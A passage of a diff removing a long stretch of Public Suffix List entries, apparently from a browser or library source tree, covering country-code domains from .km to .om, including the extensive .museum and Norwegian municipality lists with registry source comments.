-// http://en.wikipedia.org/wiki/.km says they're available for registration:
-coop.km
-asso.km
-presse.km
-medecin.km
-notaires.km
-pharmaciens.km
-veterinaire.km
-gouv.km
-
-// kn : http://en.wikipedia.org/wiki/.kn
-// http://www.dot.kn/domainRules.html
-kn
-net.kn
-org.kn
-edu.kn
-gov.kn
-
-// kp : http://www.kcce.kp/en_index.php
-com.kp
-edu.kp
-gov.kp
-org.kp
-rep.kp
-tra.kp
-
-// kr : http://en.wikipedia.org/wiki/.kr
-// see also: http://domain.nida.or.kr/eng/registration.jsp
-kr
-ac.kr
-co.kr
-es.kr
-go.kr
-hs.kr
-kg.kr
-mil.kr
-ms.kr
-ne.kr
-or.kr
-pe.kr
-re.kr
-sc.kr
-// kr geographical names
-busan.kr
-chungbuk.kr
-chungnam.kr
-daegu.kr
-daejeon.kr
-gangwon.kr
-gwangju.kr
-gyeongbuk.kr
-gyeonggi.kr
-gyeongnam.kr
-incheon.kr
-jeju.kr
-jeonbuk.kr
-jeonnam.kr
-seoul.kr
-ulsan.kr
-
-// kw : http://en.wikipedia.org/wiki/.kw
-*.kw
-
-// ky : http://www.icta.ky/da_ky_reg_dom.php
-// Confirmed by registry 2008-06-17
-ky
-edu.ky
-gov.ky
-com.ky
-org.ky
-net.ky
-
-// kz : http://en.wikipedia.org/wiki/.kz
-// see also: http://www.nic.kz/rules/index.jsp
-kz
-org.kz
-edu.kz
-net.kz
-gov.kz
-mil.kz
-com.kz
-
-// la : http://en.wikipedia.org/wiki/.la
-// Submitted by registry 2008-06-10
-la
-int.la
-net.la
-info.la
-edu.la
-gov.la
-per.la
-com.la
-org.la
-// see http://www.c.la/
-c.la
-
-// lb : http://en.wikipedia.org/wiki/.lb
-// Submitted by registry 2008-06-17
-com.lb
-edu.lb
-gov.lb
-net.lb
-org.lb
-
-// lc : http://en.wikipedia.org/wiki/.lc
-// see also: http://www.nic.lc/rules.htm
-lc
-com.lc
-net.lc
-co.lc
-org.lc
-edu.lc
-gov.lc
-
-// li : http://en.wikipedia.org/wiki/.li
-li
-
-// lk : http://www.nic.lk/seclevpr.html
-lk
-gov.lk
-sch.lk
-net.lk
-int.lk
-com.lk
-org.lk
-edu.lk
-ngo.lk
-soc.lk
-web.lk
-ltd.lk
-assn.lk
-grp.lk
-hotel.lk
-
-// local : http://en.wikipedia.org/wiki/.local
-local
-
-// lr : http://psg.com/dns/lr/lr.txt
-// Submitted by registry 2008-06-17
-com.lr
-edu.lr
-gov.lr
-org.lr
-net.lr
-
-// ls : http://en.wikipedia.org/wiki/.ls
-ls
-co.ls
-org.ls
-
-// lt : http://en.wikipedia.org/wiki/.lt
-lt
-// gov.lt : http://www.gov.lt/index_en.php
-gov.lt
-
-// lu : http://www.dns.lu/en/
-lu
-
-// lv : http://www.nic.lv/DNS/En/generic.php
-lv
-com.lv
-edu.lv
-gov.lv
-org.lv
-mil.lv
-id.lv
-net.lv
-asn.lv
-conf.lv
-
-// ly : http://www.nic.ly/regulations.php
-ly
-com.ly
-net.ly
-gov.ly
-plc.ly
-edu.ly
-sch.ly
-med.ly
-org.ly
-id.ly
-
-// ma : http://en.wikipedia.org/wiki/.ma
-// http://www.anrt.ma/fr/admin/download/upload/file_fr782.pdf
-ma
-co.ma
-net.ma
-gov.ma
-org.ma
-ac.ma
-press.ma
-
-// mc : http://www.nic.mc/
-mc
-tm.mc
-asso.mc
-
-// md : http://en.wikipedia.org/wiki/.md
-md
-
-// me : http://en.wikipedia.org/wiki/.me
-me
-co.me
-net.me
-org.me
-edu.me
-ac.me
-gov.me
-its.me
-priv.me
-
-// mg : http://www.nic.mg/tarif.htm
-mg
-org.mg
-nom.mg
-gov.mg
-prd.mg
-tm.mg
-edu.mg
-mil.mg
-com.mg
-
-// mh : http://en.wikipedia.org/wiki/.mh
-mh
-
-// mil : http://en.wikipedia.org/wiki/.mil
-mil
-
-// mk : http://en.wikipedia.org/wiki/.mk
-// see also: http://dns.marnet.net.mk/postapka.php
-mk
-com.mk
-org.mk
-net.mk
-edu.mk
-gov.mk
-inf.mk
-name.mk
-
-// ml : http://www.gobin.info/domainname/ml-template.doc
-// see also: http://en.wikipedia.org/wiki/.ml
-ml
-com.ml
-edu.ml
-gouv.ml
-gov.ml
-net.ml
-org.ml
-presse.ml
-
-// mm : http://en.wikipedia.org/wiki/.mm
-*.mm
-
-// mn : http://en.wikipedia.org/wiki/.mn
-mn
-gov.mn
-edu.mn
-org.mn
-
-// mo : http://www.monic.net.mo/
-mo
-com.mo
-net.mo
-org.mo
-edu.mo
-gov.mo
-
-// mobi : http://en.wikipedia.org/wiki/.mobi
-mobi
-
-// mp : http://www.dot.mp/
-// Confirmed by registry 2008-06-17
-mp
-
-// mq : http://en.wikipedia.org/wiki/.mq
-mq
-
-// mr : http://en.wikipedia.org/wiki/.mr
-mr
-gov.mr
-
-// ms : http://en.wikipedia.org/wiki/.ms
-ms
-
-// mt : https://www.nic.org.mt/dotmt/
-*.mt
-
-// mu : http://en.wikipedia.org/wiki/.mu
-mu
-com.mu
-net.mu
-org.mu
-gov.mu
-ac.mu
-co.mu
-or.mu
-
-// museum : http://about.museum/naming/
-// http://index.museum/
-museum
-academy.museum
-agriculture.museum
-air.museum
-airguard.museum
-alabama.museum
-alaska.museum
-amber.museum
-ambulance.museum
-american.museum
-americana.museum
-americanantiques.museum
-americanart.museum
-amsterdam.museum
-and.museum
-annefrank.museum
-anthro.museum
-anthropology.museum
-antiques.museum
-aquarium.museum
-arboretum.museum
-archaeological.museum
-archaeology.museum
-architecture.museum
-art.museum
-artanddesign.museum
-artcenter.museum
-artdeco.museum
-arteducation.museum
-artgallery.museum
-arts.museum
-artsandcrafts.museum
-asmatart.museum
-assassination.museum
-assisi.museum
-association.museum
-astronomy.museum
-atlanta.museum
-austin.museum
-australia.museum
-automotive.museum
-aviation.museum
-axis.museum
-badajoz.museum
-baghdad.museum
-bahn.museum
-bale.museum
-baltimore.museum
-barcelona.museum
-baseball.museum
-basel.museum
-baths.museum
-bauern.museum
-beauxarts.museum
-beeldengeluid.museum
-bellevue.museum
-bergbau.museum
-berkeley.museum
-berlin.museum
-bern.museum
-bible.museum
-bilbao.museum
-bill.museum
-birdart.museum
-birthplace.museum
-bonn.museum
-boston.museum
-botanical.museum
-botanicalgarden.museum
-botanicgarden.museum
-botany.museum
-brandywinevalley.museum
-brasil.museum
-bristol.museum
-british.museum
-britishcolumbia.museum
-broadcast.museum
-brunel.museum
-brussel.museum
-brussels.museum
-bruxelles.museum
-building.museum
-burghof.museum
-bus.museum
-bushey.museum
-cadaques.museum
-california.museum
-cambridge.museum
-can.museum
-canada.museum
-capebreton.museum
-carrier.museum
-cartoonart.museum
-casadelamoneda.museum
-castle.museum
-castres.museum
-celtic.museum
-center.museum
-chattanooga.museum
-cheltenham.museum
-chesapeakebay.museum
-chicago.museum
-children.museum
-childrens.museum
-childrensgarden.museum
-chiropractic.museum
-chocolate.museum
-christiansburg.museum
-cincinnati.museum
-cinema.museum
-circus.museum
-civilisation.museum
-civilization.museum
-civilwar.museum
-clinton.museum
-clock.museum
-coal.museum
-coastaldefence.museum
-cody.museum
-coldwar.museum
-collection.museum
-colonialwilliamsburg.museum
-coloradoplateau.museum
-columbia.museum
-columbus.museum
-communication.museum
-communications.museum
-community.museum
-computer.museum
-computerhistory.museum
-comunicações.museum
-contemporary.museum
-contemporaryart.museum
-convent.museum
-copenhagen.museum
-corporation.museum
-correios-e-telecomunicações.museum
-corvette.museum
-costume.museum
-countryestate.museum
-county.museum
-crafts.museum
-cranbrook.museum
-creation.museum
-cultural.museum
-culturalcenter.museum
-culture.museum
-cyber.museum
-cymru.museum
-dali.museum
-dallas.museum
-database.museum
-ddr.museum
-decorativearts.museum
-delaware.museum
-delmenhorst.museum
-denmark.museum
-depot.museum
-design.museum
-detroit.museum
-dinosaur.museum
-discovery.museum
-dolls.museum
-donostia.museum
-durham.museum
-eastafrica.museum
-eastcoast.museum
-education.museum
-educational.museum
-egyptian.museum
-eisenbahn.museum
-elburg.museum
-elvendrell.museum
-embroidery.museum
-encyclopedic.museum
-england.museum
-entomology.museum
-environment.museum
-environmentalconservation.museum
-epilepsy.museum
-essex.museum
-estate.museum
-ethnology.museum
-exeter.museum
-exhibition.museum
-family.museum
-farm.museum
-farmequipment.museum
-farmers.museum
-farmstead.museum
-field.museum
-figueres.museum
-filatelia.museum
-film.museum
-fineart.museum
-finearts.museum
-finland.museum
-flanders.museum
-florida.museum
-force.museum
-fortmissoula.museum
-fortworth.museum
-foundation.museum
-francaise.museum
-frankfurt.museum
-franziskaner.museum
-freemasonry.museum
-freiburg.museum
-fribourg.museum
-frog.museum
-fundacio.museum
-furniture.museum
-gallery.museum
-garden.museum
-gateway.museum
-geelvinck.museum
-gemological.museum
-geology.museum
-georgia.museum
-giessen.museum
-glas.museum
-glass.museum
-gorge.museum
-grandrapids.museum
-graz.museum
-guernsey.museum
-halloffame.museum
-hamburg.museum
-handson.museum
-harvestcelebration.museum
-hawaii.museum
-health.museum
-heimatunduhren.museum
-hellas.museum
-helsinki.museum
-hembygdsforbund.museum
-heritage.museum
-histoire.museum
-historical.museum
-historicalsociety.museum
-historichouses.museum
-historisch.museum
-historisches.museum
-history.museum
-historyofscience.museum
-horology.museum
-house.museum
-humanities.museum
-illustration.museum
-imageandsound.museum
-indian.museum
-indiana.museum
-indianapolis.museum
-indianmarket.museum
-intelligence.museum
-interactive.museum
-iraq.museum
-iron.museum
-isleofman.museum
-jamison.museum
-jefferson.museum
-jerusalem.museum
-jewelry.museum
-jewish.museum
-jewishart.museum
-jfk.museum
-journalism.museum
-judaica.museum
-judygarland.museum
-juedisches.museum
-juif.museum
-karate.museum
-karikatur.museum
-kids.museum
-koebenhavn.museum
-koeln.museum
-kunst.museum
-kunstsammlung.museum
-kunstunddesign.museum
-labor.museum
-labour.museum
-lajolla.museum
-lancashire.museum
-landes.museum
-lans.museum
-läns.museum
-larsson.museum
-lewismiller.museum
-lincoln.museum
-linz.museum
-living.museum
-livinghistory.museum
-localhistory.museum
-london.museum
-losangeles.museum
-louvre.museum
-loyalist.museum
-lucerne.museum
-luxembourg.museum
-luzern.museum
-mad.museum
-madrid.museum
-mallorca.museum
-manchester.museum
-mansion.museum
-mansions.museum
-manx.museum
-marburg.museum
-maritime.museum
-maritimo.museum
-maryland.museum
-marylhurst.museum
-media.museum
-medical.museum
-medizinhistorisches.museum
-meeres.museum
-memorial.museum
-mesaverde.museum
-michigan.museum
-midatlantic.museum
-military.museum
-mill.museum
-miners.museum
-mining.museum
-minnesota.museum
-missile.museum
-missoula.museum
-modern.museum
-moma.museum
-money.museum
-monmouth.museum
-monticello.museum
-montreal.museum
-moscow.museum
-motorcycle.museum
-muenchen.museum
-muenster.museum
-mulhouse.museum
-muncie.museum
-museet.museum
-museumcenter.museum
-museumvereniging.museum
-music.museum
-national.museum
-nationalfirearms.museum
-nationalheritage.museum
-nativeamerican.museum
-naturalhistory.museum
-naturalhistorymuseum.museum
-naturalsciences.museum
-nature.museum
-naturhistorisches.museum
-natuurwetenschappen.museum
-naumburg.museum
-naval.museum
-nebraska.museum
-neues.museum
-newhampshire.museum
-newjersey.museum
-newmexico.museum
-newport.museum
-newspaper.museum
-newyork.museum
-niepce.museum
-norfolk.museum
-north.museum
-nrw.museum
-nuernberg.museum
-nuremberg.museum
-nyc.museum
-nyny.museum
-oceanographic.museum
-oceanographique.museum
-omaha.museum
-online.museum
-ontario.museum
-openair.museum
-oregon.museum
-oregontrail.museum
-otago.museum
-oxford.museum
-pacific.museum
-paderborn.museum
-palace.museum
-paleo.museum
-palmsprings.museum
-panama.museum
-paris.museum
-pasadena.museum
-pharmacy.museum
-philadelphia.museum
-philadelphiaarea.museum
-philately.museum
-phoenix.museum
-photography.museum
-pilots.museum
-pittsburgh.museum
-planetarium.museum
-plantation.museum
-plants.museum
-plaza.museum
-portal.museum
-portland.museum
-portlligat.museum
-posts-and-telecommunications.museum
-preservation.museum
-presidio.museum
-press.museum
-project.museum
-public.museum
-pubol.museum
-quebec.museum
-railroad.museum
-railway.museum
-research.museum
-resistance.museum
-riodejaneiro.museum
-rochester.museum
-rockart.museum
-roma.museum
-russia.museum
-saintlouis.museum
-salem.museum
-salvadordali.museum
-salzburg.museum
-sandiego.museum
-sanfrancisco.museum
-santabarbara.museum
-santacruz.museum
-santafe.museum
-saskatchewan.museum
-satx.museum
-savannahga.museum
-schlesisches.museum
-schoenbrunn.museum
-schokoladen.museum
-school.museum
-schweiz.museum
-science.museum
-scienceandhistory.museum
-scienceandindustry.museum
-sciencecenter.museum
-sciencecenters.museum
-science-fiction.museum
-sciencehistory.museum
-sciences.museum
-sciencesnaturelles.museum
-scotland.museum
-seaport.museum
-settlement.museum
-settlers.museum
-shell.museum
-sherbrooke.museum
-sibenik.museum
-silk.museum
-ski.museum
-skole.museum
-society.museum
-sologne.museum
-soundandvision.museum
-southcarolina.museum
-southwest.museum
-space.museum
-spy.museum
-square.museum
-stadt.museum
-stalbans.museum
-starnberg.museum
-state.museum
-stateofdelaware.museum
-station.museum
-steam.museum
-steiermark.museum
-stjohn.museum
-stockholm.museum
-stpetersburg.museum
-stuttgart.museum
-suisse.museum
-surgeonshall.museum
-surrey.museum
-svizzera.museum
-sweden.museum
-sydney.museum
-tank.museum
-tcm.museum
-technology.museum
-telekommunikation.museum
-television.museum
-texas.museum
-textile.museum
-theater.museum
-time.museum
-timekeeping.museum
-topology.museum
-torino.museum
-touch.museum
-town.museum
-transport.museum
-tree.museum
-trolley.museum
-trust.museum
-trustee.museum
-uhren.museum
-ulm.museum
-undersea.museum
-university.museum
-usa.museum
-usantiques.museum
-usarts.museum
-uscountryestate.museum
-usculture.museum
-usdecorativearts.museum
-usgarden.museum
-ushistory.museum
-ushuaia.museum
-uslivinghistory.museum
-utah.museum
-uvic.museum
-valley.museum
-vantaa.museum
-versailles.museum
-viking.museum
-village.museum
-virginia.museum
-virtual.museum
-virtuel.museum
-vlaanderen.museum
-volkenkunde.museum
-wales.museum
-wallonie.museum
-war.museum
-washingtondc.museum
-watchandclock.museum
-watch-and-clock.museum
-western.museum
-westfalen.museum
-whaling.museum
-wildlife.museum
-williamsburg.museum
-windmill.museum
-workshop.museum
-york.museum
-yorkshire.museum
-yosemite.museum
-youth.museum
-zoological.museum
-zoology.museum
-ירושלים.museum
-иком.museum
-
-// mv : http://en.wikipedia.org/wiki/.mv
-// "mv" included because, contra Wikipedia, google.mv exists.
-mv
-aero.mv
-biz.mv
-com.mv
-coop.mv
-edu.mv
-gov.mv
-info.mv
-int.mv
-mil.mv
-museum.mv
-name.mv
-net.mv
-org.mv
-pro.mv
-
-// mw : http://www.registrar.mw/
-mw
-ac.mw
-biz.mw
-co.mw
-com.mw
-coop.mw
-edu.mw
-gov.mw
-int.mw
-museum.mw
-net.mw
-org.mw
-
-// mx : http://www.nic.mx/
-// Submitted by registry 2008-06-19
-mx
-com.mx
-org.mx
-gob.mx
-edu.mx
-net.mx
-
-// my : http://www.mynic.net.my/
-my
-com.my
-net.my
-org.my
-gov.my
-edu.my
-mil.my
-name.my
-
-// mz : http://www.gobin.info/domainname/mz-template.doc
-*.mz
-
-// na : http://www.na-nic.com.na/
-// http://www.info.na/domain/
-na
-info.na
-pro.na
-name.na
-school.na
-or.na
-dr.na
-us.na
-mx.na
-ca.na
-in.na
-cc.na
-tv.na
-ws.na
-mobi.na
-co.na
-com.na
-org.na
-
-// name : has 2nd-level tlds, but there's no list of them
-name
-
-// nc : http://www.cctld.nc/
-nc
-asso.nc
-
-// ne : http://en.wikipedia.org/wiki/.ne
-ne
-
-// net : http://en.wikipedia.org/wiki/.net
-net
-
-// CentralNic names : http://www.centralnic.com/names/domains
-// Submitted by registry 2008-06-17
-gb.net
-se.net
-uk.net
-
-// ZaNiC names : http://www.za.net/
-// Confirmed by registry 2009-10-03
-za.net
-
-// nf : http://en.wikipedia.org/wiki/.nf
-nf
-com.nf
-net.nf
-per.nf
-rec.nf
-web.nf
-arts.nf
-firm.nf
-info.nf
-other.nf
-store.nf
-
-// ng : http://psg.com/dns/ng/
-// Submitted by registry 2008-06-17
-ac.ng
-com.ng
-edu.ng
-gov.ng
-net.ng
-org.ng
-
-// ni : http://www.nic.ni/dominios.htm
-*.ni
-
-// nl : http://www.domain-registry.nl/ace.php/c,728,122,,,,Home.html
-// Confirmed by registry (with technical
-// reservations) 2008-06-08
-nl
-
-// BV.nl will be a registry for dutch BV's (besloten vennootschap)
-bv.nl
-
-// the co.nl domain is managed by CoDNS B.V. Added 2010-05-23.
-co.nl
-
-// no : http://www.norid.no/regelverk/index.en.html
-// The Norwegian registry has declined to notify us of updates. The web pages
-// referenced below are the official source of the data. There is also an
-// announce mailing list:
-// https://postlister.uninett.no/sympa/info/norid-diskusjon
-no
-// Norid generic domains : http://www.norid.no/regelverk/vedlegg-c.en.html
-fhs.no
-vgs.no
-fylkesbibl.no
-folkebibl.no
-museum.no
-idrett.no
-priv.no
-// Non-Norid generic domains : http://www.norid.no/regelverk/vedlegg-d.en.html
-mil.no
-stat.no
-dep.no
-kommune.no
-herad.no
-// no geographical names : http://www.norid.no/regelverk/vedlegg-b.en.html
-// counties
-aa.no
-ah.no
-bu.no
-fm.no
-hl.no
-hm.no
-jan-mayen.no
-mr.no
-nl.no
-nt.no
-of.no
-ol.no
-oslo.no
-rl.no
-sf.no
-st.no
-svalbard.no
-tm.no
-tr.no
-va.no
-vf.no
-// primary and lower secondary schools per county
-gs.aa.no
-gs.ah.no
-gs.bu.no
-gs.fm.no
-gs.hl.no
-gs.hm.no
-gs.jan-mayen.no
-gs.mr.no
-gs.nl.no
-gs.nt.no
-gs.of.no
-gs.ol.no
-gs.oslo.no
-gs.rl.no
-gs.sf.no
-gs.st.no
-gs.svalbard.no
-gs.tm.no
-gs.tr.no
-gs.va.no
-gs.vf.no
-// cities
-akrehamn.no
-åkrehamn.no
-algard.no
-ålgård.no
-arna.no
-brumunddal.no
-bryne.no
-bronnoysund.no
-brønnøysund.no
-drobak.no
-drøbak.no
-egersund.no
-fetsund.no
-floro.no
-florø.no
-fredrikstad.no
-hokksund.no
-honefoss.no
-hønefoss.no
-jessheim.no
-jorpeland.no
-jørpeland.no
-kirkenes.no
-kopervik.no
-krokstadelva.no
-langevag.no
-langevåg.no
-leirvik.no
-mjondalen.no
-mjøndalen.no
-mo-i-rana.no
-mosjoen.no
-mosjøen.no
-nesoddtangen.no
-orkanger.no
-osoyro.no
-osøyro.no
-raholt.no
-råholt.no
-sandnessjoen.no
-sandnessjøen.no
-skedsmokorset.no
-slattum.no
-spjelkavik.no
-stathelle.no
-stavern.no
-stjordalshalsen.no
-stjørdalshalsen.no
-tananger.no
-tranby.no
-vossevangen.no
-// communities
-afjord.no
-åfjord.no
-agdenes.no
-al.no
-ål.no
-alesund.no
-ålesund.no
-alstahaug.no
-alta.no
-áltá.no
-alaheadju.no
-álaheadju.no
-alvdal.no
-amli.no
-åmli.no
-amot.no
-åmot.no
-andebu.no
-andoy.no
-andøy.no
-andasuolo.no
-ardal.no
-årdal.no
-aremark.no
-arendal.no
-ås.no
-aseral.no
-åseral.no
-asker.no
-askim.no
-askvoll.no
-askoy.no
-askøy.no
-asnes.no
-åsnes.no
-audnedaln.no
-aukra.no
-aure.no
-aurland.no
-aurskog-holand.no
-aurskog-høland.no
-austevoll.no
-austrheim.no
-averoy.no
-averøy.no
-balestrand.no
-ballangen.no
-balat.no
-bálát.no
-balsfjord.no
-bahccavuotna.no
-báhccavuotna.no
-bamble.no
-bardu.no
-beardu.no
-beiarn.no
-bajddar.no
-bájddar.no
-baidar.no
-báidár.no
-berg.no
-bergen.no
-berlevag.no
-berlevåg.no
-bearalvahki.no
-bearalváhki.no
-bindal.no
-birkenes.no
-bjarkoy.no
-bjarkøy.no
-bjerkreim.no
-bjugn.no
-bodo.no
-bodø.no
-badaddja.no
-bådåddjå.no
-budejju.no
-bokn.no
-bremanger.no
-bronnoy.no
-brønnøy.no
-bygland.no
-bykle.no
-barum.no
-bærum.no
-bo.telemark.no
-bø.telemark.no
-bo.nordland.no
-bø.nordland.no
-bievat.no
-bievát.no
-bomlo.no
-bømlo.no
-batsfjord.no
-båtsfjord.no
-bahcavuotna.no
-báhcavuotna.no
-dovre.no
-drammen.no
-drangedal.no
-dyroy.no
-dyrøy.no
-donna.no
-dønna.no
-eid.no
-eidfjord.no
-eidsberg.no
-eidskog.no
-eidsvoll.no
-eigersund.no
-elverum.no
-enebakk.no
-engerdal.no
-etne.no
-etnedal.no
-evenes.no
-evenassi.no
-evenášši.no
-evje-og-hornnes.no
-farsund.no
-fauske.no
-fuossko.no
-fuoisku.no
-fedje.no
-fet.no
-finnoy.no
-finnøy.no
-fitjar.no
-fjaler.no
-fjell.no
-flakstad.no
-flatanger.no
-flekkefjord.no
-flesberg.no
-flora.no
-fla.no
-flå.no
-folldal.no
-forsand.no
-fosnes.no
-frei.no
-frogn.no
-froland.no
-frosta.no
-frana.no
-fræna.no
-froya.no
-frøya.no
-fusa.no
-fyresdal.no
-forde.no
-førde.no
-gamvik.no
-gangaviika.no
-gáŋgaviika.no
-gaular.no
-gausdal.no
-gildeskal.no
-gildeskål.no
-giske.no
-gjemnes.no
-gjerdrum.no
-gjerstad.no
-gjesdal.no
-gjovik.no
-gjøvik.no
-gloppen.no
-gol.no
-gran.no
-grane.no
-granvin.no
-gratangen.no
-grimstad.no
-grong.no
-kraanghke.no
-kråanghke.no
-grue.no
-gulen.no
-hadsel.no
-halden.no
-halsa.no
-hamar.no
-hamaroy.no
-habmer.no
-hábmer.no
-hapmir.no
-hápmir.no
-hammerfest.no
-hammarfeasta.no
-hámmárfeasta.no
-haram.no
-hareid.no
-harstad.no
-hasvik.no
-aknoluokta.no
-ákŋoluokta.no
-hattfjelldal.no
-aarborte.no
-haugesund.no
-hemne.no
-hemnes.no
-hemsedal.no
-heroy.more-og-romsdal.no
-herøy.møre-og-romsdal.no
-heroy.nordland.no
-herøy.nordland.no
-hitra.no
-hjartdal.no
-hjelmeland.no
-hobol.no
-hobøl.no
-hof.no
-hol.no
-hole.no
-holmestrand.no
-holtalen.no
-holtålen.no
-hornindal.no
-horten.no
-hurdal.no
-hurum.no
-hvaler.no
-hyllestad.no
-hagebostad.no
-hægebostad.no
-hoyanger.no
-høyanger.no
-hoylandet.no
-høylandet.no
-ha.no
-hå.no
-ibestad.no
-inderoy.no
-inderøy.no
-iveland.no
-jevnaker.no
-jondal.no
-jolster.no
-jølster.no
-karasjok.no
-karasjohka.no
-kárášjohka.no
-karlsoy.no
-galsa.no
-gálsá.no
-karmoy.no
-karmøy.no
-kautokeino.no
-guovdageaidnu.no
-klepp.no
-klabu.no
-klæbu.no
-kongsberg.no
-kongsvinger.no
-kragero.no
-kragerø.no
-kristiansand.no
-kristiansund.no
-krodsherad.no
-krødsherad.no
-kvalsund.no
-rahkkeravju.no
-ráhkkerávju.no
-kvam.no
-kvinesdal.no
-kvinnherad.no
-kviteseid.no
-kvitsoy.no
-kvitsøy.no
-kvafjord.no
-kvæfjord.no
-giehtavuoatna.no
-kvanangen.no
-kvænangen.no
-navuotna.no
-návuotna.no
-kafjord.no
-kåfjord.no
-gaivuotna.no
-gáivuotna.no
-larvik.no
-lavangen.no
-lavagis.no
-loabat.no
-loabát.no
-lebesby.no
-davvesiida.no
-leikanger.no
-leirfjord.no
-leka.no
-leksvik.no
-lenvik.no
-leangaviika.no
-leaŋgaviika.no
-lesja.no
-levanger.no
-lier.no
-lierne.no
-lillehammer.no
-lillesand.no
-lindesnes.no
-lindas.no
-lindås.no
-lom.no
-loppa.no
-lahppi.no
-láhppi.no
-lund.no
-lunner.no
-luroy.no
-lurøy.no
-luster.no
-lyngdal.no
-lyngen.no
-ivgu.no
-lardal.no
-lerdal.no
-lærdal.no
-lodingen.no
-lødingen.no
-lorenskog.no
-lørenskog.no
-loten.no
-løten.no
-malvik.no
-masoy.no
-måsøy.no
-muosat.no
-muosát.no
-mandal.no
-marker.no
-marnardal.no
-masfjorden.no
-meland.no
-meldal.no
-melhus.no
-meloy.no
-meløy.no
-meraker.no
-meråker.no
-moareke.no
-moåreke.no
-midsund.no
-midtre-gauldal.no
-modalen.no
-modum.no
-molde.no
-moskenes.no
-moss.no
-mosvik.no
-malselv.no
-målselv.no
-malatvuopmi.no
-málatvuopmi.no
-namdalseid.no
-aejrie.no
-namsos.no
-namsskogan.no
-naamesjevuemie.no
-nååmesjevuemie.no
-laakesvuemie.no
-nannestad.no
-narvik.no
-narviika.no
-naustdal.no
-nedre-eiker.no
-nes.akershus.no
-nes.buskerud.no
-nesna.no
-nesodden.no
-nesseby.no
-unjarga.no
-unjárga.no
-nesset.no
-nissedal.no
-nittedal.no
-nord-aurdal.no
-nord-fron.no
-nord-odal.no
-norddal.no
-nordkapp.no
-davvenjarga.no
-davvenjárga.no
-nordre-land.no
-nordreisa.no
-raisa.no
-ráisa.no
-nore-og-uvdal.no
-notodden.no
-naroy.no
-nærøy.no
-notteroy.no
-nøtterøy.no
-odda.no
-oksnes.no
-øksnes.no
-oppdal.no
-oppegard.no
-oppegård.no
-orkdal.no
-orland.no
-ørland.no
-orskog.no
-ørskog.no
-orsta.no
-ørsta.no
-os.hedmark.no
-os.hordaland.no
-osen.no
-osteroy.no
-osterøy.no
-ostre-toten.no
-østre-toten.no
-overhalla.no
-ovre-eiker.no
-øvre-eiker.no
-oyer.no
-øyer.no
-oygarden.no
-øygarden.no
-oystre-slidre.no
-øystre-slidre.no
-porsanger.no
-porsangu.no
-porsáŋgu.no
-porsgrunn.no
-radoy.no
-radøy.no
-rakkestad.no
-rana.no
-ruovat.no
-randaberg.no
-rauma.no
-rendalen.no
-rennebu.no
-rennesoy.no
-rennesøy.no
-rindal.no
-ringebu.no
-ringerike.no
-ringsaker.no
-rissa.no
-risor.no
-risør.no
-roan.no
-rollag.no
-rygge.no
-ralingen.no
-rælingen.no
-rodoy.no
-rødøy.no
-romskog.no
-rømskog.no
-roros.no
-røros.no
-rost.no
-røst.no
-royken.no
-røyken.no
-royrvik.no
-røyrvik.no
-rade.no
-råde.no
-salangen.no
-siellak.no
-saltdal.no
-salat.no
-sálát.no
-sálat.no
-samnanger.no
-sande.more-og-romsdal.no
-sande.møre-og-romsdal.no
-sande.vestfold.no
-sandefjord.no
-sandnes.no
-sandoy.no
-sandøy.no
-sarpsborg.no
-sauda.no
-sauherad.no
-sel.no
-selbu.no
-selje.no
-seljord.no
-sigdal.no
-siljan.no
-sirdal.no
-skaun.no
-skedsmo.no
-ski.no
-skien.no
-skiptvet.no
-skjervoy.no
-skjervøy.no
-skierva.no
-skiervá.no
-skjak.no
-skjåk.no
-skodje.no
-skanland.no
-skånland.no
-skanit.no
-skánit.no
-smola.no
-smøla.no
-snillfjord.no
-snasa.no
-snåsa.no
-snoasa.no
-snaase.no
-snåase.no
-sogndal.no
-sokndal.no
-sola.no
-solund.no
-songdalen.no
-sortland.no
-spydeberg.no
-stange.no
-stavanger.no
-steigen.no
-steinkjer.no
-stjordal.no
-stjørdal.no
-stokke.no
-stor-elvdal.no
-stord.no
-stordal.no
-storfjord.no
-omasvuotna.no
-strand.no
-stranda.no
-stryn.no
-sula.no
-suldal.no
-sund.no
-sunndal.no
-surnadal.no
-sveio.no
-svelvik.no
-sykkylven.no
-sogne.no
-søgne.no
-somna.no
-sømna.no
-sondre-land.no
-søndre-land.no
-sor-aurdal.no
-sør-aurdal.no
-sor-fron.no
-sør-fron.no
-sor-odal.no
-sør-odal.no
-sor-varanger.no
-sør-varanger.no
-matta-varjjat.no
-mátta-várjjat.no
-sorfold.no
-sørfold.no
-sorreisa.no
-sørreisa.no
-sorum.no
-sørum.no
-tana.no
-deatnu.no
-time.no
-tingvoll.no
-tinn.no
-tjeldsund.no
-dielddanuorri.no
-tjome.no
-tjøme.no
-tokke.no
-tolga.no
-torsken.no
-tranoy.no
-tranøy.no
-tromso.no
-tromsø.no
-tromsa.no
-romsa.no
-trondheim.no
-troandin.no
-trysil.no
-trana.no
-træna.no
-trogstad.no
-trøgstad.no
-tvedestrand.no
-tydal.no
-tynset.no
-tysfjord.no
-divtasvuodna.no
-divttasvuotna.no
-tysnes.no
-tysvar.no
-tysvær.no
-tonsberg.no
-tønsberg.no
-ullensaker.no
-ullensvang.no
-ulvik.no
-utsira.no
-vadso.no
-vadsø.no
-cahcesuolo.no
-čáhcesuolo.no
-vaksdal.no
-valle.no
-vang.no
-vanylven.no
-vardo.no
-vardø.no
-varggat.no
-várggát.no
-vefsn.no
-vaapste.no
-vega.no
-vegarshei.no
-vegårshei.no
-vennesla.no
-verdal.no
-verran.no
-vestby.no
-vestnes.no
-vestre-slidre.no
-vestre-toten.no
-vestvagoy.no
-vestvågøy.no
-vevelstad.no
-vik.no
-vikna.no
-vindafjord.no
-volda.no
-voss.no
-varoy.no
-værøy.no
-vagan.no
-vågan.no
-voagat.no
-vagsoy.no
-vågsøy.no
-vaga.no
-vågå.no
-valer.ostfold.no
-våler.østfold.no
-valer.hedmark.no
-våler.hedmark.no
-
-// the co.no domain is managed by CoDNS B.V. Added 2010-05-23.
-co.no
-
-// np : http://www.mos.com.np/register.html
-*.np
-
-// nr : http://cenpac.net.nr/dns/index.html
-// Confirmed by registry 2008-06-17
-nr
-biz.nr
-info.nr
-gov.nr
-edu.nr
-org.nr
-net.nr
-com.nr
-
-// nu : http://en.wikipedia.org/wiki/.nu
-nu
-
-// nz : http://en.wikipedia.org/wiki/.nz
-*.nz
-
-// om : http://en.wikipedia.org/wiki/.om
-*.om
-!mediaphone.om
-!nawrastelecom.om
-!nawras.om
-!omanmobile.om
-!omanpost.om
-!omantel.om
-!rakpetroleum.om
-!siemens.om
-!songfest.om
